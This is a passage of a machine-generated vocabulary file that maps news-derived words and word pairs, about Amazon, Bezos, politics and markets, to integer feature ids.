\"klux klan\": 31708,\n  \"beforethis final\": 31709,\n  \"jam\": 31710,\n  \"oil company\": 31711,\n  \"received free\": 31712,\n  \"commerce alibaba\": 31713,\n  \"decision saying\": 31714,\n  \"nahmias\": 31715,\n  \"jobs small\": 31716,\n  \"capacity restraints\": 31717,\n  \"violations people\": 31718,\n  \"economy raised\": 31719,\n  \"small silver\": 31720,\n  \"abramowitz replied\": 31721,\n  \"minority party\": 31722,\n  \"joe sullivan\": 31723,\n  \"carries curse\": 31724,\n  \"biggest individual\": 31725,\n  \"renewal rates\": 31726,\n  \"solo star\": 31727,\n  \"good raincoat\": 31728,\n  \"ceo president\": 31729,\n  \"affair including\": 31730,\n  \"hr departments\": 31731,\n  \"policy priorities\": 31732,\n  \"mcnamee sessions\": 31733,\n  \"work claims\": 31734,\n  \"good line\": 31735,\n  \"sanders lt\": 31736,\n  \"casual 2019\": 31737,\n  \"benefits creates\": 31738,\n  \"female hosts\": 31739,\n  \"economy expanded\": 31740,\n  \"state board\": 31741,\n  \"fbi suspicions\": 31742,\n  \"word boston\": 31743,\n  \"employee contributions\": 31744,\n  \"t5q\": 31745,\n  \"catalano\": 31746,\n  \"formal deal\": 31747,\n  \"traci goldstein\": 31748,\n  \"story major\": 31749,\n  \"home purchase\": 31750,\n  \"quickly learns\": 31751,\n  \"deregulation stir\": 31752,\n  \"mps left\": 31753,\n  \"amanda\": 31754,\n  \"stuffy\": 31755,\n  \"wholesale price\": 31756,\n  \"usps predicts\": 31757,\n  \"government bureaucrats\": 31758,\n  \"small contractors\": 31759,\n  \"recently accusing\": 31760,\n  \"camping going\": 31761,\n  \"force surgery\": 31762,\n  \"presume\": 31763,\n  \"chairman orrin\": 31764,\n  \"archer daniels\": 31765,\n  \"cady\": 31766,\n  \"despite rumours\": 31767,\n  \"state company\": 31768,\n  \"vicious satire\": 31769,\n  \"economic interventions\": 31770,\n  \"primaryfilelocation lead\": 31771,\n  \"trump rotting\": 31772,\n  \"tackle\": 31773,\n  \"feature talks\": 31774,\n  \"exhibition\": 31775,\n  \"contain kernel\": 31776,\n  \"ryan calls\": 31777,\n  \"chips fall\": 31778,\n  \"crosses new\": 31779,\n  \"requirement according\": 31780,\n  \"bobbitt\": 31781,\n  \"queen worked\": 31782,\n  \"909\": 31783,\n  \"federal solution\": 31784,\n  \"gianaris remains\": 31785,\n  \"recent prime\": 31786,\n  \"misery\": 31787,\n  \"maker tesla\": 31788,\n  \"wealth stories\": 31789,\n  \"school shootings\": 31790,\n  \"regularly quoted\": 31791,\n  \"clearly wanted\": 31792,\n  \"various credits\": 31793,\n  \"outlooks arrive\": 31794,\n  \"governor bruce\": 31795,\n  \"read secret\": 31796,\n  \"collateral damages\": 31797,\n  \"baking\": 31798,\n  \"17044620011\": 31799,\n  \"phonics photo\": 31800,\n  \"californians bought\": 31801,\n  \"hr block\": 31802,\n  \"just print\": 31803,\n  \"paulmanafort\": 31804,\n  \"ride amazon\": 31805,\n  \"associated threat\": 31806,\n  \"altruistic\": 31807,\n  \"hat featuring\": 31808,\n  \"ad ran\": 31809,\n  \"worst performing\": 31810,\n  \"nonprofits rose\": 31811,\n  \"conference featured\": 31812,\n  \"maryland gov\": 31813,\n  \"productivity q2\": 31814,\n  \"plan just\": 31815,\n  \"growing global\": 31816,\n  \"lawn mowers\": 31817,\n  \"elpasotimes\": 31818,\n  \"wholesale revision\": 31819,\n  \"grace netflix\": 31820,\n  \"including cisco\": 31821,\n  \"emma thompson\": 31822,\n  \"lewinsky jonathan\": 31823,\n  \"collins qanon\": 31824,\n  \"president considers\": 31825,\n  \"including breaking\": 31826,\n  \"twinkle twinkle\": 31827,\n  \"veterans running\": 31828,\n  \"warren massachusetts\": 31829,\n  \"manufacturing 2018\": 31830,\n  \"lesser known\": 31831,\n  \"called trumps\": 31832,\n  \"fibonacci\": 31833,\n  \"groaned later\": 31834,\n  \"emergency hearings\": 31835,\n  \"news markets\": 31836,\n  \"fsu case\": 31837,\n  \"great evening\": 31838,\n  \"ago richard\": 31839,\n  \"civil liberty\": 31840,\n  \"moving cables\": 31841,\n  \"2019 data\": 31842,\n  \"pulling press\": 31843,\n  \"conditions making\": 31844,\n  \"digital kingdoms\": 31845,\n  \"unclear rules\": 31846,\n  \"underpays\": 31847,\n  \"making 300\": 31848,\n  \"job city\": 31849,\n  \"rebuff\": 31850,\n  \"analysis turned\": 31851,\n  \"views expressed\": 31852,\n  \"pence vice\": 31853,\n  \"subsidized based\": 31854,\n  \"canceled plans\": 31855,\n  \"analysis opinion\": 31856,\n  \"single fingerprint\": 31857,\n  \"overall showing\": 31858,\n  \"cars suggests\": 31859,\n  \"hangzhou photo\": 31860,\n  \"change approximately\": 31861,\n  \"references julie\": 31862,\n  \"finding alternate\": 31863,\n  \"jodi seth\": 31864,\n  \"economic opportunity\": 31865,\n  \"possible impact\": 31866,\n  \"news emailed\": 31867,\n  \"expenses related\": 31868,\n  \"workforce programs\": 31869,\n  \"ri reported\": 31870,\n  \"griffeth boeing\": 31871,\n  \"house story\": 31872,\n  \"playboy kabc\": 31873,\n  \"blisters hot\": 31874,\n  \"act essentially\": 31875,\n  \"quality natural\": 31876,\n  \"international losses\": 31877,\n  \"microsoft missed\": 31878,\n  \"home imagine\": 31879,\n  \"photo source\": 31880,\n  \"1014107259398512640\": 31881,\n  \"amazon whittled\": 31882,\n  \"scene jonathan\": 31883,\n  \"jeremiah moss\": 31884,\n  \"offsetting shipping\": 31885,\n  \"needed set\": 31886,\n  \"practices political\": 31887,\n  \"raedle attorney\": 31888,\n  \"institutions local\": 31889,\n  \"excellent overview\": 31890,\n  \"warren cfpb\": 31891,\n  \"1863 called\": 31892,\n  \"family separation\": 31893,\n  \"magician\": 31894,\n  \"opens higher\": 31895,\n  \"received list\": 31896,\n  \"book totals\": 31897,\n  \"contractual terms\": 31898,\n  \"treat business\": 31899,\n  \"option exercises\": 31900,\n  \"massive number\": 31901,\n  \"warehouse facility\": 31902,\n  \"ori\": 31903,\n  \"volume growth\": 31904,\n  \"restricted access\": 31905,\n  \"banished\": 31906,\n  \"hum just\": 31907,\n  \"intricate cheese\": 31908,\n  \"block amazon\": 31909,\n  \"direct state\": 31910,\n  \"happy amazon\": 31911,\n  \"200 channels\": 31912,\n  \"abolishice\": 31913,\n  \"phil berlowitz\": 31914,\n  \"qualified candidates\": 31915,\n  \"force recommendations\": 31916,\n  \"bezos tours\": 31917,\n  \"stock movement\": 31918,\n  \"charity trice\": 31919,\n  \"bleed\": 31920,\n  \"lots\": 31921,\n  \"dividend yield\": 31922,\n  \"snapchat revenue\": 31923,\n  \"stock climbing\": 31924,\n  \"1999 healthy\": 31925,\n  \"mueller looming\": 31926,\n  \"having biased\": 31927,\n  \"avoid false\": 31928,\n  \"false isvideoreplayclicked\": 31929,\n  \"bake\": 31930,\n  \"centric\": 31931,\n  \"56am\": 31932,\n  \"sales reuters\": 31933,\n  \"elite general\": 31934,\n  \"club south\": 31935,\n  \"brenda\": 31936,\n  \"algos\": 31937,\n  \"sector took\": 31938,\n  \"rusterholz christie\": 31939,\n  \"oct ap\": 31940,\n  \"bezos cook\": 31941,\n  \"coaching\": 31942,\n  \"commercial freedoms\": 31943,\n  \"22205\": 31944,\n  \"deteriorating faster\": 31945,\n  \"despite clear\": 31946,\n  \"starring nicole\": 31947,\n  \"salvage\": 31948,\n  \"motley appeared\": 31949,\n  \"controversy involves\": 31950,\n  \"facebook merger\": 31951,\n  \"second mistake\": 31952,\n  \"trump eyes\": 31953,\n  \"body shot\": 31954,\n  \"tuttle decided\": 31955,\n  \"shareholders probably\": 31956,\n  \"growing despite\": 31957,\n  \"rad\": 31958,\n  \"lcd displays\": 31959,\n  \"misunderstandings\": 31960,\n  \"popular true\": 31961,\n  \"jeff settled\": 31962,\n  \"probes\": 31963,\n  \"bloomberg story\": 31964,\n  \"psat\": 31965,\n  \"block anybody\": 31966,\n  \"amorality\": 31967,\n  \"source gregg\": 31968,\n  \"giant justin\": 31969,\n  \"moral science\": 31970,\n  \"action president\": 31971,\n  \"agent joy\": 31972,\n  \"expect mother\": 31973,\n  \"lightly\": 31974,\n  \"political threats\": 31975,\n  \"reportedly texting\": 31976,\n  \"media chief\": 31977,\n  \"finish stocks\": 31978,\n  \"football days\": 31979,\n  \"restructuring costs\": 31980,\n  \"young employee\": 31981,\n  \"apparently keeping\": 31982,\n  \"dry hole\": 31983,\n  \"varieties\": 31984,\n  \"antiquated\": 31985,\n  \"correctional facility\": 31986,\n  \"investigation led\": 31987,\n  \"octopus jeff\": 31988,\n  \"obsessed brethren\": 31989,\n  \"personality\": 31990,\n  \"scattering\": 31991,\n  \"india mumbai\": 31992,\n  \"sites begin\": 31993,\n  \"business compared\": 31994,\n  \"heavy oil\": 31995,\n  \"book takes\": 31996,\n  \"country security\": 31997,\n  \"writes produces\": 31998,\n  \"times insider\": 31999,\n  \"fortune tech\": 32000,\n  \"mammoth task\": 32001,\n  \"crosshairs\": 32002,\n  \"discretionary product\": 32003,\n  \"ceo jeremy\": 32004,\n  \"bezos make\": 32005,\n  \"assange\": 32006,\n  \"tightening strategy\": 32007,\n  \"week stamps\": 32008,\n  \"laws police\": 32009,\n  \"messenger\": 32010,\n  \"jeff caster\": 32011,\n  \"contends\": 32012,\n  \"richard jemmons\": 32013,\n  \"lead directly\": 32014,\n  \"pernicious\": 32015,\n  \"pledge\": 32016,\n  \"investigated google\": 32017,\n  \"democrats stack\": 32018,\n  \"congressperson\": 32019,\n  \"bases\": 32020,\n  \"shooting aerial\": 32021,\n  \"apekina\": 32022,\n  \"possible secret\": 32023,\n  \"media government\": 32024,\n  \"regions interested\": 32025,\n  \"vendor wholesaling\": 32026,\n  \"commenter\": 32027,\n  \"credible luxury\": 32028,\n  \"reduces\": 32029,\n  \"years earlier\": 32030,\n  \"internal wiki\": 32031,\n  \"leaving europe\": 32032,\n  \"changed trump\": 32033,\n  \"follow dow\": 32034,\n  \"adopting technologies\": 32035,\n  \"celebrate nationaldonutday\": 32036,\n  \"including major\": 32037,\n  \"abuses exposed\": 32038,\n  \"owner commerce\": 32039,\n  \"joenia wapichana\": 32040,\n  \"media trends\": 32041,\n  \"vulnerable victims\": 32042,\n  \"swilling\": 32043,\n  \"lamster uses\": 32044,\n  \"el chapo\": 32045,\n  \"redrawing\": 32046,\n  \"reform probably\": 32047,\n  \"protein ecosystem\": 32048,\n  \"york really\": 32049,\n  \"phone searched\": 32050,\n  \"set price\": 32051,\n  \"5826\": 32052,\n  \"removing various\": 32053,\n  \"smartphone wireless\": 32054,\n  \"killed mueller\": 32055,\n  \"kowtows\": 32056,\n  \"high value\": 32057,\n  \"sky pond\": 32058,\n  \"autonomous driving\": 32059,\n  \"problem report\": 32060,\n  \"dear cking\": 32061,\n  \"650 words\": 32062,\n  \"decimals geometry\": 32063,\n  \"2018 security\": 32064,\n  \"burnish\": 32065,\n  \"headquarters close\": 32066,\n  \"sector collective\": 32067,\n  \"manipulation schemes\": 32068,\n  \"upcoming real\": 32069,\n  \"trump jabs\": 32070,\n  \"republicans say\": 32071,\n  \"dramatically\": 32072,\n  \"ad player\": 32073,\n  \"victims\": 32074,\n  \"group projected\": 32075,\n  \"trump uber\": 32076,\n  \"nests\": 32077,\n  \"make dramatic\": 32078,\n  \"pop stores\": 32079,\n  \"business recent\": 32080,\n  \"product solution\": 32081,\n  \"icann ran\": 32082,\n  \"program herera\": 32083,\n  \"real policy\": 32084,\n  \"hill consulting\": 32085,\n  \"iraqi village\": 32086,\n  \"red zone\": 32087,\n  \"truck departed\": 32088,\n  \"vmw announced\": 32089,\n  \"collapse professor\": 32090,\n  \"exclusive license\": 32091,\n  \"political upheaval\": 32092,\n  \"buckey wolfe\": 32093,\n  \"endures\": 32094,\n  \"story telling\": 32095,\n  \"assignments list\": 32096,\n  \"invited king\": 32097,\n  \"army\": 32098,\n  \"budget gaps\": 32099,\n  \"investor richelieu\": 32100,\n  \"battle nbc\": 32101,\n  \"participant organizations\": 32102,\n  \"diagnosis robert\": 32103,\n  \"prakriya\": 32104,\n  \"barr nomination\": 32105,\n  \"turing gpu\": 32106,\n  \"bucks bezos\": 32107,\n  \"police shooting\": 32108,\n  \"harbored lot\": 32109,\n  \"presentations trump\": 32110,\n  \"deal papazian\": 32111,\n  \"shares buy\": 32112,\n  \"campaign tens\": 32113,\n  \"research firm\": 32114,\n  \"grips pet\": 32115,\n  \"unrelated\": 32116,\n  \"business dealingswith\": 32117,\n  \"stereo market\": 32118,\n  \"books cbs\": 32119,\n  \"stretchy comfortable\": 32120,\n  \"tax abatements\": 32121,\n  \"repeat buyers\": 32122,\n  \"technologies amazon\": 32123,\n  \"partisan spite\": 32124,\n  \"ounce\": 32125,\n  \"shipping represented\": 32126,\n  \"printing software\": 32127,\n  \"believed facebook\": 32128,\n  \"laws sufficient\": 32129,\n  \"atini\": 32130,\n  \"authentic selection\": 32131,\n  \"shaving\": 32132,\n  \"000z author\": 32133,\n  \"new fedex\": 32134,\n  \"living longer\": 32135,\n  \"subsidiary names\": 32136,\n  \"local title\": 32137,\n  \"getting counterfeit\": 32138,\n  \"balloting\": 32139,\n  \"company presence\": 32140,\n  \"home shipping\": 32141,\n  \"antonio campus\": 32142,\n  \"government executive\": 32143,\n  \"trump drew\": 32144,\n  \"victorias\": 32145,\n  \"trillion dollar\": 32146,\n  \"low profit\": 32147,\n  \"staffed\": 32148,\n  \"purchase thanks\": 32149,\n  \"stretches\": 32150,\n  \"nintendo toad\": 32151,\n  \"swamp stopping\": 32152,\n  \"fact galloway\": 32153,\n  \"board comprising\": 32154,\n  \"age party\": 32155,\n  \"ret\": 32156,\n  \"140bn fortune\": 32157,\n  \"sasahara\": 32158,\n  \"british man\": 32159,\n  \"characteristic\": 32160,\n  \"surely isn\": 32161,\n  \"act just\": 32162,\n  \"jungles\": 32163,\n  \"2013 twitter\": 32164,\n  \"trump mission\": 32165,\n  \"universal praise\": 32166,\n  \"eyes 133\": 32167,\n  \"complaint did\": 32168,\n  \"near anchorage\": 32169,\n  \"read judge\": 32170,\n  \"main differences\": 32171,\n  \"bezos addressed\": 32172,\n  \"exit database\": 32173,\n  \"_______________\\u043d\\u043d______________\\u043d__\": 32174,\n  \"asked americans\": 32175,\n  \"employs 125\": 32176,\n  \"cycle type\": 32177,\n  \"governors david\": 32178,\n  \"failure wapo\": 32179,\n  \"altitude\": 32180,\n  \"dangled\": 32181,\n  \"blunt pipe\": 32182,\n  \"reporter questioned\": 32183,\n  \"864 billion\": 32184,\n  \"mexican politics\": 32185,\n  \"bridis tbridis\": 32186,\n  \"nov 250\": 32187,\n  \"makes 200\": 32188,\n  \"profit think\": 32189,\n  \"rtdschapiro\": 32190,\n  \"just wasting\": 32191,\n  \"female students\": 32192,\n  \"week findings\": 32193,\n  \"rival amazon\": 32194,\n  \"bounce right\": 32195,\n  \"theirinvestigation\": 32196,\n  \"rising house\": 32197,\n  \"chose arlington\": 32198,\n  \"analysts microsoft\": 32199,\n  \"pruitt zinke\": 32200,\n  \"senior center\": 32201,\n  \"arrow\": 32202,\n  \"meal time\": 32203,\n  \"benz rolling\": 32204,\n  \"snl showing\": 32205,\n  \"double duty\": 32206,\n  \"children entertainer\": 32207,\n  \"large teams\": 32208,\n  \"current 1tn\": 32209,\n  \"political hit\": 32210,\n  \"candidate lou\": 32211,\n  \"lanes\": 32212,\n  \"timeframes stocks\": 32213,\n  \"sense twitter\": 32214,\n  \"provisionally cleared\": 32215,\n  \"ice unnecessarily\": 32216,\n  \"chinese turn\": 32217,\n  \"sleeper agents\": 32218,\n  \"tortured\": 32219,\n  \"charity donations\": 32220,\n  \"moons\": 32221,\n  \"deals remember\": 32222,\n  \"overwhelming majority\": 32223,\n  \"fated\": 32224,\n  \"cim\": 32225,\n  \"georgia children\": 32226,\n  \"whitney mike\": 32227,\n  \"surveillance tyranny\": 32228,\n  \"real surprises\": 32229,\n  \"management contract\": 32230,\n  \"following information\": 32231,\n  \"view calif\": 32232,\n  \"week ago\": 32233,\n  \"spying surveillance\": 32234,\n  \"city councilman\": 32235,\n  \"power amazon\": 32236,\n  \"pelosi using\": 32237,\n  \"bolsonaro slate\": 32238,\n  \"feels uncomfortable\": 32239,\n  \"fatally\": 32240,\n  \"ernst mike\": 32241,\n  \"big fine\": 32242,\n  \"just strengthen\": 32243,\n  \"sterling\": 32244,\n  \"suppresses\": 32245,\n  \"violence hate\": 32246,\n  \"amazon expects\": 32247,\n  \"overwhelmingly stupid\": 32248,\n  \"bowie finding\": 32249,\n  \"started collecting\": 32250,\n  \"reactid 172\": 32251,\n  \"m8 e8\": 32252,\n  \"endangered\": 32253,\n  \"ranking antitrust\": 32254,\n  \"enquirer leaked\": 32255,\n  \"story robert\": 32256,\n  \"key learnings\": 32257,\n  \"listings alibaba\": 32258,\n  \"state young\": 32259,\n  \"saved millions\": 32260,\n  \"workers did\": 32261,\n  \"sen deputy\": 32262,\n  \"say recognizing\": 32263,\n  \"report lola\": 32264,\n  \"letter makes\": 32265,\n  \"alive trump\": 32266,\n  \"general james\": 32267,\n  \"1539102369 based\": 32268,\n  \"rick santorum\": 32269,\n  \"frequent twitter\": 32270,\n  \"investigation ncaa\": 32271,\n  \"machine translation\": 32272,\n  \"electoral symbol\": 32273,\n  \"minimum standards\": 32274,\n  \"notably weaker\": 32275,\n  \"clear eyed\": 32276,\n  \"carriers customs\": 32277,\n  \"podcast majority\": 32278,\n  \"shareholders\": 32279,\n  \"investors especially\": 32280,\n  \"post points\": 32281,\n  \"manufacturing component\": 32282,\n  \"bezos contrasted\": 32283,\n  \"local player\": 32284,\n  \"media politics\": 32285,\n  \"bad month\": 32286,\n  \"base todd\": 32287,\n  \"kessler glennkesslerwp\": 32288,\n  \"tax claim\": 32289,\n  \"boxes traveling\": 32290,\n  \"growing pool\": 32291,\n  \"elevate bezos\": 32292,\n  \"york excited\": 32293,\n  \"slams house\": 32294,\n  \"volume\": 32295,\n  \"bank notes\": 32296,\n  \"2018 ending\": 32297,\n  \"release public\": 32298,\n  \"ua\": 32299,\n  \"year legal\": 32300,\n  \"fbi did\": 32301,\n  \"easier beach\": 32302,\n  \"receiving government\": 32303,\n  \"operator\": 32304,\n  \"parking lot\": 32305,\n  \"soares mma\": 32306,\n  \"confrontation\": 32307,\n  \"district encompasses\": 32308,\n  \"little headway\": 32309,\n  \"run schools\": 32310,\n  \"country ongoing\": 32311,\n  \"media abuzz\": 32312,\n  \"told listeners\": 32313,\n  \"dc phil\": 32314,\n  \"remains exceptionally\": 32315,\n  \"prerequisite\": 32316,\n  \"angrily criticized\": 32317,\n  \"brexit strategy\": 32318,\n  \"priya anand\": 32319,\n  \"magnified\": 32320,\n  \"economy overheating\": 32321,\n  \"suburbs\": 32322,\n  \"amazon founder\": 32323,\n  \"roll right\": 32324,\n  \"parise\": 32325,\n  \"396 reduced\": 32326,\n  \"employee groups\": 32327,\n  \"practices hearing\": 32328,\n  \"brennan reportedly\": 32329,\n  \"billionaire called\": 32330,\n  \"nonprofit digital\": 32331,\n  \"wonderful thing\": 32332,\n  \"arkansas family\": 32333,\n  \"barbara kollmeyer\": 32334,\n  \"included cecily\": 32335,\n  \"philip good\": 32336,\n  \"elective\": 32337,\n  \"severely affected\": 32338,\n  \"citywide vocational\": 32339,\n  \"intellectual property\": 32340,\n  \"hardy ranks\": 32341,\n  \"rejected pure\": 32342,\n  \"sophia\": 32343,\n  \"hit today\": 32344,\n  \"vote wars\": 32345,\n  \"2070 rtx\": 32346,\n  \"desires return\": 32347,\n  \"impressive growth\": 32348,\n  \"vendors possibly\": 32349,\n  \"control democrats\": 32350,\n  \"estranged novelist\": 32351,\n  \"ethic\": 32352,\n  \"trump confident\": 32353,\n  \"amazon seattle\": 32354,\n  \"y_173218731_200015422000928060_388160 jpg\": 32355,\n  \"gaby dunn\": 32356,\n  \"aughts world\": 32357,\n  \"tepper\": 32358,\n  \"post later\": 32359,\n  \"detection analysis\": 32360,\n  \"public responses\": 32361,\n  \"miguel\": 32362,\n  \"criteria\": 32363,\n  \"boycottebay\": 32364,\n  \"lucrative hush\": 32365,\n  \"tense relationship\": 32366,\n  \"mining industry\": 32367,\n  \"long international\": 32368,\n  \"solid ticket\": 32369,\n  \"tax transcripts\": 32370,\n  \"michael grunwald\": 32371,\n  \"billion order\": 32372,\n  \"flashier\": 32373,\n  \"financial backers\": 32374,\n  \"britain newest\": 32375,\n  \"vice\": 32376,\n  \"symphonic music\": 32377,\n  \"consider creating\": 32378,\n  \"various package\": 32379,\n  \"movements share\": 32380,\n  \"danbury\": 32381,\n  \"tencent tcehy\": 32382,\n  \"subsequent letter\": 32383,\n  \"improvement retailer\": 32384,\n  \"journalist best\": 32385,\n  \"including physical\": 32386,\n  \"nears posted\": 32387,\n  \"democrats marvel\": 32388,\n  \"music bar\": 32389,\n  \"mongabay brazil\": 32390,\n  \"rekognition misidentified\": 32391,\n  \"minneapolis lawyer\": 32392,\n  \"tariffs trump\": 32393,\n  \"settlement foie\": 32394,\n  \"rebates altogether\": 32395,\n  \"claude monet\": 32396,\n  \"tonight herera\": 32397,\n  \"including self\": 32398,\n  \"amazon introduces\": 32399,\n  \"different mindsets\": 32400,\n  \"videoid business\": 32401,\n  \"fox marines\": 32402,\n  \"truly unusual\": 32403,\n  \"ceo jack\": 32404,\n  \"reed hastings\": 32405,\n  \"coxno0ni6f\": 32406,\n  \"pet collars\": 32407,\n  \"step melania\": 32408,\n  \"house issued\": 32409,\n  \"took naps\": 32410,\n  \"gone zach\": 32411,\n  \"grassroots activists\": 32412,\n  \"preliminary investigation\": 32413,\n  \"senate showdown\": 32414,\n  \"prefunded pension\": 32415,\n  \"people sad\": 32416,\n  \"disbanded\": 32417,\n  \"albany hospital\": 32418,\n  \"recognition tech\": 32419,\n  \"making wage\": 32420,\n  \"charged extra\": 32421,\n  \"boston family\": 32422,\n  \"frequently tweeted\": 32423,\n  \"terrific gayle\": 32424,\n  \"amazon jamanxim\": 32425,\n  \"slammed trump\": 32426,\n  \"affectionate\": 32427,\n  \"tim pearce\": 32428,\n  \"new blow\": 32429,\n  \"easily earns\": 32430,\n  \"years extending\": 32431,\n  \"amazon bailing\": 32432,\n  \"losses really\": 32433,\n  \"guinness\": 32434,\n  \"week sanders\": 32435,\n  \"mixed sex\": 32436,\n  \"income earners\": 32437,\n  \"clean label\": 32438,\n  \"ebay pressured\": 32439,\n  \"ukip brexit\": 32440,\n  \"threatening self\": 32441,\n  \"66947332\": 32442,\n  \"editorial cartoonist\": 32443,\n  \"council committee\": 32444,\n  \"noted earlier\": 32445,\n  \"paper obtained\": 32446,\n  \"aninternal investigation\": 32447,\n  \"enigmatic\": 32448,\n  \"business tags\": 32449,\n  \"support approximately\": 32450,\n  \"buying sanders\": 32451,\n  \"assume new\": 32452,\n  \"rental empire\": 32453,\n  \"dogged\": 32454,\n  \"trailforks\": 32455,\n  \"big plants\": 32456,\n  \"simmering tensions\": 32457,\n  \"internal deliberations\": 32458,\n  \"worth 285\": 32459,\n  \"began reporting\": 32460,\n  \"changing careers\": 32461,\n  \"market oriented\": 32462,\n  \"horribly\": 32463,\n  \"commerce shippers\": 32464,\n  \"farr miller\": 32465,\n  \"house favor\": 32466,\n  \"2014 house\": 32467,\n  \"encouraging customers\": 32468,\n  \"regarding counterfeit\": 32469,\n  \"clear defeat\": 32470,\n  \"homes including\": 32471,\n  \"advantage\": 32472,\n  \"geekwire\": 32473,\n  \"problems tsxv\": 32474,\n  \"hurt try\": 32475,\n  \"media consolidation\": 32476,\n  \"hughes page\": 32477,\n  \"terms economicrent\": 32478,\n  \"bush era\": 32479,\n  \"1007 small\": 32480,\n  \"reprieve\": 32481,\n  \"pushing prices\": 32482,\n  \"deeply troubling\": 32483,\n  \"pained adieu\": 32484,\n  \"gives birth\": 32485,\n  \"alaska allows\": 32486,\n  \"frank nightly\": 32487,\n  \"arloc sherman\": 32488,\n  \"controlled senate\": 32489,\n  \"florida mayor\": 32490,\n  \"bases posted\": 32491,\n  \"ecommerce retailers\": 32492,\n  \"135 hard\": 32493,\n  \"locker fl\": 32494,\n  \"things clearly\": 32495,\n  \"ad blackmail\": 32496,\n  \"hits seattle\": 32497,\n  \"impact earnings\": 32498,\n  \"health board\": 32499,\n  \"rail truck\": 32500,\n  \"unshowy performances\": 32501,\n  \"tom whipple\": 32502,\n  \"blasio billion\": 32503,\n  \"makes sham\": 32504,\n  \"economic columnist\": 32505,\n  \"enquirer editors\": 32506,\n  \"believers wall\": 32507,\n  \"career blowing\": 32508,\n  \"institution overall\": 32509,\n  \"coalition john\": 32510,\n  \"adage birds\": 32511,\n  \"maximum ordering\": 32512,\n  \"216 8687\": 32513,\n  \"contradicted\": 32514,\n  \"98point6\": 32515,\n  \"amazon twitter\": 32516,\n  \"microblogging platform\": 32517,\n  \"dollars annually\": 32518,\n  \"independent vendors\": 32519,\n  \"daughter preference\": 32520,\n  \"inc_notepad\": 32521,\n  \"life synagogue\": 32522,\n  \"post motto\": 32523,\n  \"inquire\": 32524,\n  \"number waiting\": 32525,\n  \"sporting event\": 32526,\n  \"hate list\": 32527,\n  \"congresswoman ocasio\": 32528,\n  \"growing grip\": 32529,\n  \"conservative line\": 32530,\n  \"house approved\": 32531,\n  \"potential senate\": 32532,\n  \"cheap space\": 32533,\n  \"abc finds\": 32534,\n  \"fine survives\": 32535,\n  \"safety record\": 32536,\n  \"industrial output\": 32537,\n  \"sayingthings\": 32538,\n  \"funded study\": 32539,\n  \"latest saga\": 32540,\n  \"user numbers\": 32541,\n  \"petrochemical\": 32542,\n  \"herera demand\": 32543,\n  \"topping 150\": 32544,\n  \"financial situations\": 32545,\n  \"momentum arun\": 32546,\n  \"decay eyeshadow\": 32547,\n  \"pacific economic\": 32548,\n  \"manager olive\": 32549,\n  \"leavell investment\": 32550,\n  \"24m shares\": 32551,\n  \"chronic problem\": 32552,\n  \"educate wider\": 32553,\n  \"hugh\": 32554,\n  \"switch built\": 32555,\n  \"presentation words\": 32556,\n  \"bezoss privacy\": 32557,\n  \"dna test\": 32558,\n  \"primary customer\": 32559,\n  \"price increases\": 32560,\n  \"contemporary politics\": 32561,\n  \"348 360\": 32562,\n  \"increased quarterly\": 32563,\n  \"paul schiraldi\": 32564,\n  \"deal uk\": 32565,\n  \"preempted\": 32566,\n  \"giant claims\": 32567,\n  \"couldn refuse\": 32568,\n  \"stamps disclosure\": 32569,\n  \"news reporting\": 32570,\n  \"big firms\": 32571,\n  \"television star\": 32572,\n  \"manage investigations\": 32573,\n  \"google today\": 32574,\n  \"twitter wadhwa\": 32575,\n  \"number remains\": 32576,\n  \"attack known\": 32577,\n  \"bezos revealing\": 32578,\n  \"york communist\": 32579,\n  \"fact toronto\": 32580,\n  \"finance scientists\": 32581,\n  \"greatest\": 32582,\n  \"anonymously discuss\": 32583,\n  \"overshadow\": 32584,\n  \"benchmark crude\": 32585,\n  \"says remaining\": 32586,\n  \"remains bullish\": 32587,\n  \"2018 cascading\": 32588,\n  \"promised governor\": 32589,\n  \"bruce mehlman\": 32590,\n  \"slogans outside\": 32591,\n  \"lab verifies\": 32592,\n  \"usps effectively\": 32593,\n  \"soup\": 32594,\n  \"sceptical\": 32595,\n  \"shuddering footfall\": 32596,\n  \"charlamagne\": 32597,\n  \"roberts plays\": 32598,\n  \"enrolled\": 32599,\n  \"shelf\": 32600,\n  \"overbilling\": 32601,\n  \"mayor signed\": 32602,\n  \"mcdonell\": 32603,\n  \"hiring speeds\": 32604,\n  \"verbal exchange\": 32605,\n  \"far gobbled\": 32606,\n  \"smita prakash\": 32607,\n  \"selling real\": 32608,\n  \"despite earnings\": 32609,\n  \"wage saying\": 32610,\n  \"life producer\": 32611,\n  \"196000\": 32612,\n  \"world told\": 32613,\n  \"pelositakes\": 32614,\n  \"content articles\": 32615,\n  \"potentially impactful\": 32616,\n  \"property owners\": 32617,\n  \"storm sped\": 32618,\n  \"123s\": 32619,\n  \"179 500\": 32620,\n  \"enhancing\": 32621,\n  \"box tableau\": 32622,\n  \"parcel rates\": 32623,\n  \"week mccaskill\": 32624,\n  \"kidnapping cameroon\": 32625,\n  \"js leaf\": 32626,\n  \"vestager office\": 32627,\n  \"agency survival\": 32628,\n  \"craves\": 32629,\n  \"ann maples\": 32630,\n  \"final recorded\": 32631,\n  \"question giving\": 32632,\n  \"unscripted\": 32633,\n  \"europe auto\": 32634,\n  \"tippy\": 32635,\n  \"programs internships\": 32636,\n  \"term short\": 32637,\n  \"2019 rates\": 32638,\n  \"knmmx7byqm brennan\": 32639,\n  \"normandy\": 32640,\n  \"past expectations\": 32641,\n  \"huawei warned\": 32642,\n  \"litigator\": 32643,\n  \"wisconsin republican\": 32644,\n  \"bezos adulterous\": 32645,\n  \"forgive bezos\": 32646,\n  \"2dy1qhmfka\": 32647,\n  \"brawl\": 32648,\n  \"stores furniture\": 32649,\n  \"particular trump\": 32650,\n  \"buenas\": 32651,\n  \"backgrounds build\": 32652,\n  \"pattinson mia\": 32653,\n  \"house retaliated\": 32654,\n  \"initialize window\": 32655,\n  \"sudden pestilential\": 32656,\n  \"nonetheless\": 32657,\n  \"hiker\": 32658,\n  \"television sets\": 32659,\n  \"engineers diseases\": 32660,\n  \"receive email\": 32661,\n  \"technically\": 32662,\n  \"reality proves\": 32663,\n  \"sjostrom gabby\": 32664,\n  \"billion giving\": 32665,\n  \"day planslawmakers\": 32666,\n  \"party guests\": 32667,\n  \"signs pointing\": 32668,\n  \"barry hart\": 32669,\n  \"included prurient\": 32670,\n  \"called sen\": 32671,\n  \"969 billion\": 32672,\n  \"var m8i\": 32673,\n  \"principal financial\": 32674,\n  \"statement feb\": 32675,\n  \"added strongly\": 32676,\n  \"valued differently\": 32677,\n  \"harvard medical\": 